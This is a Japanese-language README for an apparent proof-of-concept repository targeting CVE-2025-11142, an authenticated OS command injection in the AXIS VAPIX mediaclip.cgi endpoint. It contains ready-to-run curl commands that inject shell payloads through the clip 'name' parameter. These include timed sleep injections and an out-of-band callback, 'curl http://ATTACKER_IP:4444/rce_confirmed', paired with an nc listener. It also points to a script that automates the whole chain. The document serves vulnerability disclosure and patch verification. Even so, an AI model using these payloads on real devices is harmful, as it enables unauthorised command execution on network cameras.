
CVE-2025-11142の概念実証および技術分析。AXIS VAPIX mediaclip.cgiにおける認証済みOSコマンドインジェクションであり、時間ベースおよび帯域外の検証手法を含む。
mediaclip.cgi OSコマンドインジェクションn-day調査レポート&PoC — CVSS 7.1のOSコマンドインジェクション脆弱性(AXIS VAPIX Media Clip API)に対するパッチ適用後の技術分析。Axisデバイスに対するブラックボックステストを通じて独自に再発見・検証されたものです。
Axisの公式アドバイザリは、技術的な悪用手法の詳細や公開PoCを公開していません(「Axisは脆弱性に関するより詳細な情報を提供しない」、「アドバイザリ公開時点で公知のエクスプロイトは存在しない」)。このリポジトリは、ベンダーの修正(AXIS OS 12.7.36)が一般公開された後にのみ公開された、独自に再現・証拠に基づく確認を文書化したものです。開示のタイムラインを参照してください。
| CVE ID | CVE-2025-11142 |
| CWE | CWE-78(OSコマンドインジェクション) |
| CVSS | 7.1(高) |
| 影響を受けるバージョン | AXIS OS 12.6.54 – 12.7.35 |
| 修正バージョン | AXIS OS 12.7.36(アクティブトラック) |
| ベンダーアドバイザリ | https://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-11142 |
| 必要な権限 | 認証済みオペレーター/管理者(VAPIX HTTP Digest認証) |
| ここで検証された影響 | 低権限サービスアカウント(rootではない)としての任意のOSコマンド実行 |
/axis-cgi/mediaclip.cgi VAPIXエンドポイントは、action=updateリクエストとフリーテキストのnameパラメータ(クリップの表示名)を受け入れます。ブラックボックステストにより、この値がサニタイズされずにデバイス上のシェル呼び出しに渡されることが示されています — おそらくメディアクリップサブシステムの内部的なファイル名変更/処理ステップの一部として使用されます。
正確なサーバーサイドのコードパスを説明する公開技術レポートは存在しません(Axisは公開していません)。したがって、以下の根本原因はソースコードのレビューではなく、ブラックボックスの挙動から推測されたものです。
すべてのリクエストはHTTP Digest認証を使用します(デバイスはBasic認証を拒否します)。TARGET、USER、PASSを自分のラボデバイスの値に置き換えてください — 所有していない、またはテストする許可がないデバイスに対してサンプルの認証情報を使用しないでください。
updateアクションには既存のクリップが必要です。クリップ0がまだ存在しない場合は、まず小さな無害なプレースホルダーをアップロードします:
curl -s --digest -u "$USER:$PASS" --anyauth \
-X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
-F "[email protected];type=audio/wav"
poc.wavには任意の小さな有効なWAVファイルで十分です(最小限のRIFF/WAVEヘッダーで足ります)。
# ベースライン / コントロール — インジェクション遅延なし
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 0;"
# 8秒のインジェクション遅延
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 8;"
応答時間がインジェクションされたsleepの時間に追従する場合(約0.3秒のベースラインではなく)、シェルがname値全体を実行しており、単なる不活性な文字列として扱っていないことが確認されます。これは、複数の独立してスケーリングされた遅延(0秒/3秒/6秒/8秒)と複数のインジェクション構文(;、&&、バッククォート、$(...))で検証され、偶然ではないことを確認しました。
HTTP応答ボディはコマンド出力をエコーしないため(ペイロードに関係なくOK/Updating=0)、最も説得力のある確認方法は、デバイス自身のアウトバウンドネットワーク機能を使用することです。攻撃者が制御するホストでリスナーを起動し、インジェクションされたコマンドがそこにコールバックするようにします:
# 攻撃者ホスト上で:
nc -lvnp 4444
# インジェクションペイロード:
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"
ターゲットデバイスのIPアドレスからの本物のインバウンドHTTPリクエスト(curlのUser-Agent文字列を含む)は、リモートコード実行の明白な証明です — このリクエストは、デバイス上で実際に実行されたコマンドからのみ発生し得ます。
curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"
poc.pypoc.pyを参照してください。コマンドラインで指定したターゲットに対して手順1〜4を自動化する自己完結型スクリプトです。
usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]
mediaclip.cgiのCWE-78コマンドインジェクション)を超える0-dayの詳細は、Axisがまだ確認していないものはここでは開示されていません。このコードは、認可されたセキュリティテスト、セキュリティ研究、および防御目的(例:自社の機器群がパッチ適用済みかどうかの確認、検知シグネチャの構築)のみを目的として提供されています。所有していない、または明示的な書面によるテスト許可がないデバイスに対して使用しないでください。著者は誤用に対する責任を負いません。
MIT — LICENSEを参照してください。